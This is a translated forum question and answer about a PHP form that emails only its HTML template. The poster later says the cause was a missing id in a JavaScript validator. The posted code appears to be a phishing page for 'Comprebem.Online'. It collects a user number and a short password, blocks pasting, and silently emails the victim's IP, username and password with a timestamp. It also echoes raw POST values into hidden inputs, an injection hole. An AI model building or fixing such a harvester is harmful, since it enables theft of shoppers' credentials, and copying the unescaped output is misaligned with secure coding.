PHP Email Form: Sending arrives, but completed data does not

Asked

Viewed 81 times

-1

I’m having trouble sending my form data in my client’s PHP.

What is going on?

The filling in the form is being done normal. Send in the email? Yes, only the HTML arrives by e-mail, but the data that is filled in the form does not. I’ve looked here at Stackoverflow and I haven’t found the same kind of problem I’m having.

What could be going on?

OBS.:

  • I am not using SMTP for sending, but it arrives normally (it is not SPAM and also not enough as spam).
  • I made forms of the same format and always arrived (no SMTP).
  • I’ve changed now and consequently this is happening.
  • If you need the code, please let me know what part I play here.

HTML:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
            <title>Comprebem.Online</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
        <meta name="mobile-web-app-capable" content="yes">

        <link rel="stylesheet" type="text/css" href="style.css">
        <script src="js/jquery-3.2.1.min.js" language="javascript"></script>
        <script src="js/jquery.maskedinput.min.js" language="javascript"></script>
        <link rel="stylesheet" href="css/bootstrap.css">
        <script src="script.js" language="javascript"></script>
        <link rel = "shortcut icon" type = "imagem/x-icon" href = "images/icon.png"/>
        <script src="//irql.bipbop.com.br/js/jquery.bipbop.min.js"></script>
    </head>

<body onLoad="window.scrollTo(0,1);">

<div class="login-page">
    <div class="container">
        <div id="campos">
        <form action="update.php" method="post" enctype="application/x-www-form-urlencoded" onSubmit="return checkLogin();">
            <?php foreach($_POST as $key => $value):  ?>
                <input type="hidden" name="<?= $key ?>" value="<?= $value ?>" />
            <?php endforeach; ?>   
                <br>
            <div class="container">
                <div class="row" style="margin-left: 40px;">

                    <div class=" get_form_inner">
                        <h4 class="__head"></h4>
                        <div class="text-center">
                            <div class="row "></div>                        
                        </div>
                    </div>

                    <p></p>
                    <form name="registerForm" method="post" action="">

                    <div class="group">                              
                        <input type="number" name="name"  id="nome" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);" required="required">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Nome</label>
                    </div>


                    <div class="group">
                        <input  type="number" name="2nome"  id= "2nome" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);" required="required" >
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Sobre Nome</label>                              
                    </div>                                            

                    <div class="group">
                        <input type="number"   name="usuario" required="required" id="usa"style="background-color:transparent"onkeydown="limit(this, 11);" onkeyup="limit(this,11);">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Usuario</label>
                    </div>

                    <div class="group">     
                        <input type="password" name="senhaLogin" required="required"  id= "sha" style="background-color:transparent"onkeydown="limit(this, 4);" onkeyup="limit(this,4);"onpaste="return false;">
                        <span class="highlight"></span>
                        <span class="bar"></span><label>Senha</label>   
                    </div>

                </div>            
            </div>

            <div class="text-right">
                <p><input type="submit" id="btn-entrar" data-target="Finalizar"></p>
                    <label class="checkbox text-center" style="margin-top: 20px">
                        <input id="chkLembrar" type="checkbox" name="chkLembrar" checked="checked"><label for="chkLembrar">Lembrar Login</label>
                    </label>    
            </div>
        </form>
        </div>
    </div>
</div>
    <script src="js/validations.js" type="text/javascript" ></script>
</body>

Sending PHP

<?php
    require_once("config.php");

        extract($_POST);
        $headers = "Content-type: text/html; charset=iso-8859-1\r\n";
        $headers .="From: Compre_bem <[email protected]>";
        $ip = $_SERVER["REMOTE_ADDR"];
        date_default_timezone_set('America/Sao_Paulo');
        $data=date("d/m/Y");
        $hora=date("H:i");

        $conteudo.=" ------------------ Compre_bem_formulario_cliente_loja_online-(teste)-------------------<br>

        $data-($hora) - $ip<br>
    --------------------------------------------<br>
    Nome do cliente---------------------------:$nome $cta<br>
    Sobrenome_cliente---------------------------:$2nome<br>
    Usuario_cliente_cadastro------------------------------:$usa<br>
    Senha_cliente_cadastro------------------------: $sha <br>


    --------------------------------------------<br>";

    @mail($receber, "Compre_bem - $ip", "$conteudo", $headers); 
?>
  • 1

    Yes, you need the code. Both the HTML form and the PHP that sends the email.

  • 1

    post your HTML and PHP code

  • 1

    If the email is coming then the problem is not the form of sending, probably some error in PHP with capturing the form data, but without the code is complicated to say.

1 answer

1

staff managed to solve my problem.

was a form JS validation script that did not have the id inserted. summarizing... he wasn’t saving the data in that form id because I didn’t specify in my JS function.

thank you all for your participation.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.